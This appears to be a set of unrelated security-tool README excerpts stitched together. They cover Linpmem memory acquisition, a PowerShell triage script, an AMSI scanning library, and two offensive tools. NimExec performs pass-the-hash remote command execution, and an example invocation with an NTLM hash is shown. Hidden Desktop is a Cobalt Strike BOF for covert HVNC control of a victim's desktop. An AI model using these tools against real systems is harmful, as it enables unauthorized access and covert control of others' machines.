If you want to compile the cli tool yourself, change to its directory and follow the instructions in the (cli) Readme to build it. Otherwise, just download the prebuilt program, it should work on any Linux. To load the kernel driver with the cli tool:
# pmem insmod path/to/linpmem.ko
The advantage of using the pmem tool to load the driver is that you do not have to create the device file yourself, and it will offer (on next releases) to choose who owns the linpmem device.
The pmem command line interface is only a thin wrapper around a small Rust library that exposes an API for interfacing with the driver. More advanced users can also use this library. The library is automatically compiled (as static portable library) along with the pmem cli tool when compiling from https://github.com/vobst/linpmem-cli, but also included (precompiled) here (signed). Note: this is a preliminary version, more to follow soon.
If you do not want to use the usermode library and prefer to interface with the driver directly on your own, you can find its user-space API/interface and documentation in ./userspace_interface/linpmem_shared.h. We also provide example code in demo/test.c that explains how to use the driver directly.
Not implemented yet.
If the system reports the following error message when loading the module, it might be because of secure boot:
$ sudo insmod linpmem.ko
insmod: ERROR: could not insert module linpmem.ko: Operation not permitted
There are different ways to still load the module. The obvious one is to disable secure boot in your UEFI settings.
If your distribution supports it, a more elegant solution would be to sign the module before using it. This can be done using the following steps (tested on Ubuntu 20.04).
$ sudo apt install mokutil
$ openssl req -new -newkey rsa:4096 -keyout mok-signing.key -out mok-signing.crt -outform DER -days 365 -nodes -subj "/CN=Some descriptive name/"
$ sudo mokutil --import mok-signing.crt
$ /usr/src/linux-headers-$(uname -r)/scripts/sign-file sha256 path/to/mok-singing/MOK.key path/to//MOK.cert path/to/linpmem.ko
After that, you should be able to load the module.
Note that from a forensic-readiness perspective, you should prepare a signed module before you need it, as the system will reboot twice during the process described above, destroying most of your volatile data in memory.
(Please report potential issues if you encounter anything.)
Linpmem, as well as Winpmem, would not exist without the work of our predecessors of the (now retired) REKALL project: https://github.com/google/rekall.

DOUGLAS-042 stands as an ingenious embodiment of a PowerShell script meticulously designed to expedite the triage process and facilitate the meticulous collection of crucial evidence derived from both forensic artifacts and the ephemeral landscape of volatile data. Its fundamental mission revolves around providing indispensable aid in the arduous task of pinpointing potential security breaches within Windows ecosystems. With an overarching focus on expediency, DOUGLAS-042 orchestrates the efficient prioritization and methodical aggregation of data, ensuring that no vital piece of information eludes scrutiny when investigating a possible compromise. As a testament to its organized approach, the amalgamated data finds its sanctuary within the confines of a meticulously named text file, bearing the nomenclature of the host system's very own hostname. This practice of meticulous data archival emerges not just as a systematic convention, but as a cornerstone that paves the way for seamless transitions into subsequent stages of the Forensic journey.
Using administrative privileges, just run the script from a PowerShell console, then the results will be saved in the directory as a txt file.

py-amsi is a library that scans strings or files for malware using the Windows Antimalware Scan Interface (AMSI) API. AMSI is an interface native to Windows that allows applications to ask the antivirus installed on the system to analyse a file/string. AMSI is not tied to Windows Defender. Antivirus providers implement the AMSI interface to receive calls from applications. This library takes advantage of the API to make antivirus scans in python. Read more about the Windows AMSI API here.
Via pip

Basically, NimExec is a fileless remote command execution tool that uses The Service Control Manager Remote Protocol (MS-SCMR). It changes the binary path of a random or given service run by LocalSystem to execute the given command on the target and restores it later via hand-crafted RPC packets instead of WinAPI calls. It sends these packages over SMB2 and the svcctl named pipe.
NimExec needs an NTLM hash to authenticate to the target machine and then completes this authentication process with the NTLM Authentication method over hand-crafted packages.
Since all required network packages are manually crafted and no operating system-specific functions are used, NimExec can be used in different operating systems by using Nim's cross-compilability support.
This project was inspired by Julio's SharpNoPSExec tool. You can think that NimExec is Cross Compilable and built-in Pass the Hash supported version of SharpNoPSExec. Also, I learned the required network packet structures from Kevin Robertson's Invoke-SMBExec Script.
nim c -d:release --gc:markAndSweep -o:NimExec.exe Main.nim
The above command uses a different Garbage Collector because the default garbage collector in Nim is throwing some SIGSEGV errors during the service searching process.
Also, you can install the required Nim modules via Nimble with the following command:
nimble install ptr_math nimcrypto hostname
test@ubuntu:~/Desktop/NimExec$ ./NimExec -u testuser -d TESTLABS -h 123abcbde966780cef8d9ec24523acac -t 10.200.2.2 -c 'cmd.exe /c "echo test > C:\Users\Public\test.txt"' -v

Hidden Desktop (often referred to as HVNC) is a tool that allows operators to interact with a remote desktop session without the user knowing. The VNC protocol is not involved, but the result is a similar experience. This Cobalt Strike BOF implementation was created as an alternative to TinyNuke/forks that are written in C++.
There are four components of Hidden Desktop:
BOF initializer: Small program responsible for injecting the HVNC code into the Beacon process.
HVNC shellcode: PIC implementation of TinyNuke HVNC.
Server and operator UI: Server that listens for connections from the HVNC shellcode and a UI that allows the operator to interact with the remote desktop. Currently only supports Windows.
Application launcher BOFs: Set of Beacon Object Files that execute applications in the new desktop.
Download the latest release or compile yourself using make. Start the HVNC server on a Windows machine accessible from the teamserver. You can then execute the client with:
HiddenDesktop <server> <port>
You should see a new blank window on the server machine. The BOF does not execute any applications by default. You can use the application launcher BOFs to execute common programs on the new desktop:
hd-launch-edge
hd-launch-explorer
hd-launch-run
hd-launch-cmd
hd-launch-chrome
You can also launch programs through File Explorer using the mouse and keyboard. Other applications can be executed using the following command:
hd-launch <command> [args]
rportfwd. Status updates are sent back to Beacon through a named pipe.InputHandler function in the HVNC shellcode. It uses BeaconInjectProcess to execute the shellcode, meaning the behavior can be customized in a Malleable C2 profile or with process injection BOFs. You could modify Hidden Desktop to target remote processes, but this is not currently supported. This is done so the BOF can exit and the HVNC shellcode can continue running.InputHandler creates a new named pipe for Beacon to connect to. Once a connection has been established, the specified desktop is opened (OpenDesktopA) or created (CreateDesktopA). A new socket is established through a reverse port forward (rportfwd) to the HVNC server. The input handler creates a new thread for the DesktopHandler function described below. This thread will receive mouse and keyboard input from the HVNC server and forward it to the desktop.DesktopHandler establishes an additional socket connection to the HVNC server through the reverse port forward. This thread will monitor windows for changes and forward them to the HVNC server.The HiddenDesktop BOF was tested using example.profile on the following Windows versions/architectures:
